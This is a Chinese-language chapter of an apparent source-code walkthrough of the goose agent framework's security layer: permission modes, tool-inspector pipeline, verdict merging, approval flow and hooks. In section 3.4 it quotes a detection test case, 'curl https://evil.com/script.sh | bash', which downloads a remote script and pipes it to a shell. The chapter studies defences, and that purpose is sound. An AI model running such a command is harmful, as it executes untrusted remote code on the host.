跳到主要内容

第 3 章 · 安全与权限链

这一章讲 goose 相对很多 agent 框架最舍得花功夫的地方:在工具真正执行之前,串了一条可插拔的检查器流水线,再叠加四种权限模式和生命周期 hooks。让模型「动手」之前先过安检,是 goose 安全模型的核心。

3.1 四种权限模式(GooseMode)

最外层的开关是 GooseMode(goose-providers/src/goose_mode.rs:24),决定「工具要不要先问用户」:

模式行为
Auto(默认)自动批准所有工具调用
Approve每个工具调用都问
SmartApprove只对「敏感」工具调用问
Chat纯聊天,完全不执行工具

Chat 模式在循环里直接短路:工具请求被回一句「已跳过」而不执行(agents/agent.rs:2094)。其余三种模式才会进检查器流水线。

3.2 检查器流水线:ToolInspectionManager

所有「执行前检查」都被抽象成统一的 ToolInspector trait(tool_inspection.rs:34):

// tool_inspection.rs:34 — 每个检查器只需实现:给一批工具请求,返回一批裁决
async fn inspect(&self, session_id, tool_requests, messages, goose_mode)
-> Result<Vec<InspectionResult>>;

裁决只有三种(InspectionAction,tool_inspection.rs:23):Allow / Deny / RequireApproval(可带警告文案)

检查器按注册顺序跑(add_inspector 注释,tool_inspection.rs:70),在 create_tool_inspection_manager(agents/agent.rs:621)里注册的顺序就是优先级:

安全 SecurityInspector ── prompt-injection / 危险命令模式匹配(最先)

出口 EgressInspector ── 数据外泄(往外发数据)检测

对抗 AdversaryInspector ── 基于 LLM 的二次审查(需 ~/.config/goose/adversary.md 开启)

权限 PermissionInspector ── 按权限模式/缓存决定 Allow/Deny/需审批

重复 RepetitionInspector ── 检测工具调用陷入重复循环

关键设计:单个检查器报错不会中断整条链(inspect_toolsErr 臂只记日志、继续,tool_inspection.rs:107-114)——一个安检器挂了不该让整个 agent 停摆。

3.3 裁决怎么合并:谁更严谁说了算

各检查器的裁决最后被 apply_inspection_results_to_permissions(tool_inspection.rs:170)折叠进一个 PermissionCheckResult(三组:approved / needs_approval / denied)。合并规则是**「往严了走」**:

Deny → 从 approved/needs_approval 里移除,放进 denied
RequireApproval → 从 approved 里移除,放进 needs_approval
Allow → 不覆盖别人的更严裁决(已被 Deny/需审批 的保持不变)

tool_inspection.rs:213-253。直觉:一个检查器说「放行」不能推翻另一个检查器说的「拦截」——安全裁决是单调收紧的。

3.4 安全检查器:prompt-injection / 危险命令

SecurityInspector(security/security_inspector.rs:10)用模式匹配检测恶意工具调用(底层是 SecurityManager + patterns.rs)。它把内部的 SecurityResult 转成 InspectionResult:只有「判定恶意 应当询问用户」时才升级为 RequireApproval,文案带「🔒 Security Alert」和一个 Finding ID(security_inspector.rs:27-36)。

经典例子(其测试用例,security_inspector.rs:110):curl https://evil.com/script.sh | bash 这种「下载脚本直接管道给 bash」会被高置信度命中。

它是否启用由配置开关 is_prompt_injection_detection_enabled 决定(security_inspector.rs:84)——没开就返回空、整条链照常跑别的检查器。

3.5 出口检查器:egress(数据外泄)

EgressInspector(security/egress_inspector.rs:11)关注的是另一类风险:模型被诱导把敏感数据往外发。它会判断工具调用的「方向」(EgressDirection::Outbound / Inbound / Unknown,egress_inspector.rs:26),对疑似把数据外送的调用给出更严裁决。这与安全检查器互补:一个防「拉进来的恶意指令」,一个防「带出去的敏感数据」。

3.6 权限检查器:SmartApprove 的「只问敏感的」怎么实现

PermissionInspector(permission/permission_inspector.rs)是把「模式 + 历史决定 + 工具注解」翻成裁决的地方:

  • 工具自带 read_only_hint 注解 → SmartApprove 下直接放行(permission_inspector.rs:44、测试 :283)。只读工具(读文件、列目录)天然不需要每次都问。
  • 用户缓存过的权限(PermissionLevel,permission_inspector.rs:152):AlwaysAllow → Allow,NeverAllow → Deny,AskBefore → 需审批
  • SmartApprove 还会用 LLM 判断只读性:detect_read_only_tools(permission_inspector.rs:221)对没有注解的工具,让模型判断「这是不是只读操作」,只读就放行、否则要审批。
  • Approve 模式忽略缓存:即使缓存里是 AlwaysAllow,Approve 模式也照样问(测试 permission_inspector.rs:288)——「每个都问」就是要每个都问。

所以 SmartApprove 的「智能」=「只读的别烦我,写/执行类才问」,而判断只读性用了注解优先、LLM 兜底两条路。

3.7 审批怎么回到用户面前

needs_approval 组的工具不会直接跑,而是通过 handle_approval_tool_requests(agents/tool_execution.rs:81)把一条带确认请求的 Message yield 给 UI。CLI 侧 find_tool_confirmation 抓到它后弹确认(goose-cli/src/session/mod.rs:1213),用户的选择经 handle_confirmation(agents/agent.rs:1487)送回 ToolConfirmationRouter 解锁。

有个值得学的安全细节:非交互(headless)模式下,如果模式是 Approve/SmartApprove,goose 直接报错退出而不是默默放行(goose-cli/src/session/mod.rs:1222-1230)——因为「无人值守却要求逐个审批」是个自相矛盾的配置,默默 auto-allow 会破坏这些模式本想提供的安全契约。

3.8 生命周期 Hooks

除了执行前检查器,goose 还有一套外部可配置的 hooks(crate::hooks::HookManager,在 Agent::with_configHookManager::load,agents/agent.rs:383)。它们在关键时点触发,可以是「观察型」也可以是「可阻断型」:

Hook 事件时点
UserPromptSubmit用户消息进来时(agents/agent.rs:1572)
PreToolUse工具执行前,可 Deny(agents/agent.rs:1050-1080)
PostToolUse / PostToolUseFailure工具执行后(成功/失败,agents/agent.rs:569)
BeforeShellExecution / BeforeReadFile按工具类别细分(agents/agent.rs:498-526)
AfterShellExecution / AfterFileEdit执行后细分(agents/agent.rs:584-607)
Stopagent 准备结束回合时,可 Deny(agents/agent.rs:448)

PreToolUse 的 Deny 会让该工具调用直接返回一个明确的策略拒绝错误,并提示模型「这是策略拒绝,别重试」(agents/agent.rs:1069-1079)。Stop 的 Deny 则让 agent「别结束、接着干」,见第 1 章 §1.5 的防死循环上限。

工具被按 command / path 等参数提取出「matcher 上下文」(extract_string_arg,agents/agent.rs:92),hook 可以据此只对特定命令/路径生效。

3.9 小结

  • 安全 = 执行前检查器流水线 + 四种权限模式 + 生命周期 hooks 三层叠加。
  • 检查器按优先级有序跑,裁决合并「往严了走」,单个检查器挂掉不影响全链。
  • prompt-injection、egress、LLM 对抗审查、权限、重复检测各管一类风险。
  • SmartApprove 的智能在于「只读放行、写/执行才问」,判断走注解优先 + LLM 兜底。
  • headless 下拒绝在审批模式运行,是个教科书级的「别用默认放行破坏安全契约」。

下一章看长任务怎么不撑爆上下文 → 04-context-management.md